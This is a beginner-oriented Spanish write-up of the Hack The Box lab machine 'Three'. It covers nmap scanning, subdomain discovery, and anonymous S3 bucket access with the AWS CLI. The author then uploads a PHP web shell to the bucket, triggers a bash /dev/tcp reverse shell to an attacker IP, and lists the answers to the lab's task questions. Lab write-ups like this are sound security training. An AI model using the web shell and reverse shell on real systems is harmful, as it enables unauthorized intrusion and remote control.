Inicio Three - Starting Point
Entrada
Cancelar

Three - Starting Point

Introducción

Las máquinas del Starting Point de Hack The Box siguen una dificultad creciente. Esta a pesar de estar clasificada como ‘Very Easy’ ya supone ciertos retos y habilidades. En esta máquina abordaremos el sistema de buckets S3 de AWS para el almacenamiento de ficheros. Aprovecharemos la inclusión de ficheros PHP con el objetivo de obtener control sobre el servidor por medio de una reverse shell.

En estas máquinas el nivel de detalle del presente write-up es mayor ya que se pretende dar un ‘paso a paso’ para principiantes más que una simple guía para un usuario algo avanzado. Además, durante la explotación de la máquina tendremos que ir respondiendo a preguntas que ayudarán en el camino hasta la consecución. En este caso son 9 las preguntas a responder y éstas se añadirán al final del write-up.

Sistema-Linux-orange Dificultad-VeryEasy-brightgreen

Resolución

Conexión al VPN de HTB

Comenzamos estableciendo conexión por VPN con la plataforma HackTheBox. Una vez tengamos IP asignada de la VPN de HTB procedemos a ir a la web de Starting Point para iniciar la máquina Three. Puede trascurrir hasta 2 minutos en reconocer la web que estamos conectados por VPN, llegando en ocasiones a tener que refrescar la página F5

Si tienes dudas sobre conectar con la VPN de HackTheBox te lo explico aquí

Iniciar la máquina

Iniciamos la máquina pulsando sobre el botón

Botón Spawn Machine

Tras unos cuantos segundos (en ocasiones puede tardar más) se habrá iniciado correctamente la máquina y nos mostrará la dirección ip de la máquina víctima. En nuestro caso será 10.129.143.21

Settarget

Haciendo uso de la herramienta previamente establecida en la ZSHRC llamada ‘settarget’ dejaremos anotada la IP y nombre de la máquina víctima en la parte superior de la Polybar para tener así mayor eficacia. La sintaxis es: settarget (IP_VICTIMA) (NOMBRE_MAQUINA_VICTIMA)

1
settarget 10.129.107.86 Three

settarget

De esta manera en la Polybar superior tendremos siempre bien referenciada la máquina víctima

Ping

Comprobamos que efectivamente tenemos visible la máquina víctima lanzando un pingsobre ella. Con el parámetro -c 1 le indicamos que tan solo haga un ping. No es necesario más.

1
ping -c 1 10.129.107.86

Como resultado obtenemos lo siguiente de lo cual destacatemos el TTL y el número de paquetes enviados / recibidos:

Ping

  • TTL = 63
    Este valor (cercano a 64) indica que nos encontramos ante una máquina Linux

Por defecto valores de TTL en torno a 64 indica que la máquina es Linux mientras que valores de 128 indicaría que la máquina es Windows

  • 1 packets transmitted, 1 received
    Indica que el paquete enviado ha sido recibido con éxito por lo tanto => La máquina víctima está encendida y tenemos conexión con ella

Reconocimiento con NMAP (PortDiscovery)

NMAP es una herramienta ampliamente extendida en el reconocimiento de redes así como en el escaneo de puertos, hosts y servicios

Ejecutaremos la instrucción básica de reconocimiento con los parámetros que se explican a continuación:

1
nmap -p- -sS --min-rate 5000 -n -Pn -vvv --open 10.129.107.86 -oG allPorts
  • -p-
    Indicamos que queremos analizar el rango completo de puertos. Del 1 al 65535
  • -sS
    Especificación del tipo de escaneo. En este caso SYN Scan que es rápido a la vez que sigiloso ya que no termina de establecer la conexión y de tal manera puede pasar desapercibido en los logs de conexión
  • --min-rate 5000
    Acelera el proceso de escane ya que no tramita paquetes cuya velocidad sea inferior a 5000 paquetes por segundo. Esto puede hacer menos sigiloso el escaneo pero más rápido
  • -n
    Indica que no queremos aplicar resolución DNS. Más velocidad de escaneo
  • -Pn
    Escaneo de puertos incluso si el host no responde a los ping. Ignora si el host está o no online
  • -vvv
    Triple verbose para que los resultados que vaya obteniendo los vaya mostrando por pantalla sin necesidad de acabar el escaneo
  • --open
    Un puerto principalmente puede estar Abierto, Cerrado o Filtrado. En un principio nos centraremos en aquellos que están Abiertos
  • -oG allPorts
    Salida del resultado en un fichero llamado allPorts en formato ‘grepable’ lo cual aportará ventajas a la hora de tratarlo posteriormente

El resultado del comando ejecutado sería el siguiente:

NMAP sS

Observamos que tiene dos puertos abiertos, se tratan del puerto 22 y el puerto 80.

  • Puerto 80 => HTTP
    El servicio HTTP, acrónimo de HyperText Transfer Protocol es el protocolo de comunicación que permite las transferencias de información a través de archivos (XML, HTML…) en la World Wide Web. Indica que podremos conectarnos usando un navegador para ver si hay una web corriendo en este puerto
  • Puerto 22 => SSH
    El servicio SSH, acrónimo de Secure Shell es un protocolo de comunicaciones de terminal remoto en la que la información viaja cifrada. Es una evolución segura del comando Telnet. Es usado para la gestión remota de servidores o máquinas con sistema operativo Linux en general.

Puertos abiertos (versiones)

Sobre aquellos puertos abiertos en la máquina víctima lanzaremos un comando de NMAP enfocado al descubrimiento de versiones de los servicios que estén corriendo sobre los puertos abiertos

1
nmap -sCV -p22,80 10.129.143.21 -oN targeted
  • -sCV (también se puede poner como -sC -sV)
    Realiza un escaneo en busca de versiones y comparando con una base de datos de servicios conocidos
  • -p22,80
    Indica que se analizará en esta caso solamente el puerto 80 y el puerto 22
  • -oN targeted
    Salida del resultado en un fichero llamado targeted en formato normal de NMAP

El resultado del comando ejecutado sería el siguiente:

NMAP sCV

Este escaneo ha aportado información para la consecución de la máquina:

  • Puerto 80 -> Apache httpd 2.4.29 ((Ubuntu))
    Esta es la versión del servidor Apache corriendo en la máquina víctima. Lo tendremos en cuenta más adelante tanto para la resolución de las preguntas como en la búsqueda de posibles vulnerabilidades.
  • Puerto 22 -> OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
    Tiene una versión 7.6p1 de OpenSSH.

Reconocimiento del Puerto 80 - WEB

Entramos en la web desde el navegador http://10.129.107.86.

En la parte inferior de la web vemos un formulario de contacto en la que vemos un dominio: thetoppers.htb el cual además de darnos la respuesta a una de las preguntas (tasks) de resolución de la máquina

web

Procederemos a añadir este dominio al /etc/hosts de la máquina atacante:

  1. Tecleamos sudo nano /etc/hosts

  2. Añadimos la línea 10.129.107.86 thetoppers.htb Guardar y Salir

  3. Recargamos la web con el dominio: http://thetoppers.htb

Las tecnologías que corren detrás de la web que muestra Wappalyzer son estas:

wappalyzer

En principio no hay nada que nos destaque como posible vector de ataque

Búsqueda de subdominios/VHOST con GOBUSTER

Usaremos la herramienta Gobuster en este caso para localizar subdominios. Para lo cual construiremos la ejecución de la siguiente manera

1
gobuster vhost -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb
  • -u http://thetoppers.htb
    -u indica la URL sobre la que reconocer subdominios
  • --w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
    -w indica la wordlist a utilizar, en este caso una específica para subdominios

subdomain

Hay un subdominio encontrado: s3 que procederemos a añadir este subdominio en el /etc/hosts

  1. Accedemos a sudo nano /etc/hosts

  2. Añadimos la línea a la última línea creada el nuevo subdominio s3.thetoppers.htb Guardar y Salir

Accedemos al subdominio http://s3.thetoppers.htb dede el navegador. Vemos esto

s3_web

A la vista de que parece haber un servicio de S3 corriendo en la máquina víctima haremos uso de la herramienta específica para terminal de Amazon

S3 o también conocido como Bucket S3 es un servicio proprcionado por AWS (Amazon Web Services) enfocado al almacenamiento de ficheros para ser accedidos desde la web.

Operando con la terminal de AWS CLI

En caso de no tener AWS CLI procederemos a instalarlo simplemente con sudo apt install awscli

  1. Ejecutamos aws configure y proporcionamos un valor cualquiera, en nuestro caso rellenaremos todos los campos que nos piden con test
1
2
3
4
5
❯ aws configure
AWS Access Key ID [None]: test
AWS Secret Access Key [None]: test
Default region name [None]: test
Default output format [None]: test

Buscamos para nuestro endpoint el que sería el listado de los Buckets S3 disponible con el siguiente comando:

1
aws --endpoint=http://s3.thetoppers.htb s3 ls
  • --endpoint=http://s3.thetoppers.htb
    --endpoint Determina la dirección del endpoint
  • s3 ls
    Obtiene un listado de todos los buckets S3 disponibles en el endpoint

aws-s3-ls

Para entrar al Bucket disponible (thetoppers.htb) lanzaremos el siguiente comando:

1
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

Y observamos el siguiente contenido:

aws-s3-content

De aquí podemos estar extrayendo algunas informaciones:

  • Parece que la web está corriendo PHP

  • El directorio images está alojando las imágenes mostradas en el sitio web.

Podemos comprobar las imágenes ejecutando: aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb/images

Como, a priori, tendríamos capacidad de copiar ficheros al Bucket S3 intentaremos subir con código en PHP malicioso que nos permita ejecutar comandos en la terminal desde la web.

Esta vulnerabilidad se conoce como RCE (Remote Code Execution)

Intrusión

Aprovechando la posibilidad de poder llevar un fichero PHP al servidor, crearemos uno llamado script.php con el siguiente contenido:

1
2
3
<?php
    system($_GET["cmd"]);
?>

Dicho código nos permitirá ejecutar comandos de la terminal pasándoselo como parámetro con la sintaxis: script.php?cmd=whoami

Tendremos que subir ahora el fichero al servidor ejecutando este comando en el directorio donde se encuentre nuestro fichero script.php:

1
aws --endpoint=http://s3.thetoppers.htb s3 cp script.php s3://thetoppers.htb

Comprobamos que efectivamente se ha subido el fichero:

aws-s3-upload

Ahora desde el navegador lanzaremos el código whoami y efectivamente me devuelve el usuario que corre la web que en este caso es www-data

instrusion

Reverse Shell

  1. Con NETCAT (nc) nos pondremos a la escucha en un puerto, por ejemplo el 7777 así: nc -nvlp 7777

  2. Pasamos como comando en el navegador el siguiente parámetro: bash -i >& /dev/tcp/10.10.15.34/7777 0>&1 que poniéndolo en formato URL-encoded se quedaría así: bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.15.34%2F7777%200%3E%261

  3. En nc recibimos la shell y exploramos hasta encontrar la flag

    reverse-shell

Puesto que no se nos

Flag

Root Flag

Tasks

Estas Tasks hacen las funciones de mini-flags y ayudan guiando la resolución de la máquina:

  1. How many TCP ports are open?
    2
  2. What is the domain of the email address provided in the “Contact” section of the website?
    thetoppers.htb
  3. In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?
    /etc/hosts
  4. Which sub-domain is discovered during further enumeration?
    s3.thetoppers.htb
  5. Which service is running on the discovered sub-domain?
    amazon s3
  6. Which command line utility can be used to interact with the service running on the discovered sub-domain?
    awscli
  7. Which command is used to set up the AWS CLI installation?
    aws configure
  8. What is the command used by the above utility to list all of the S3 buckets?
    aws s3 ls
  9. This server is configured to run files written in what web scripting language?
    php
Esta entrada está licenciada bajo CC BY 4.0 por el autor.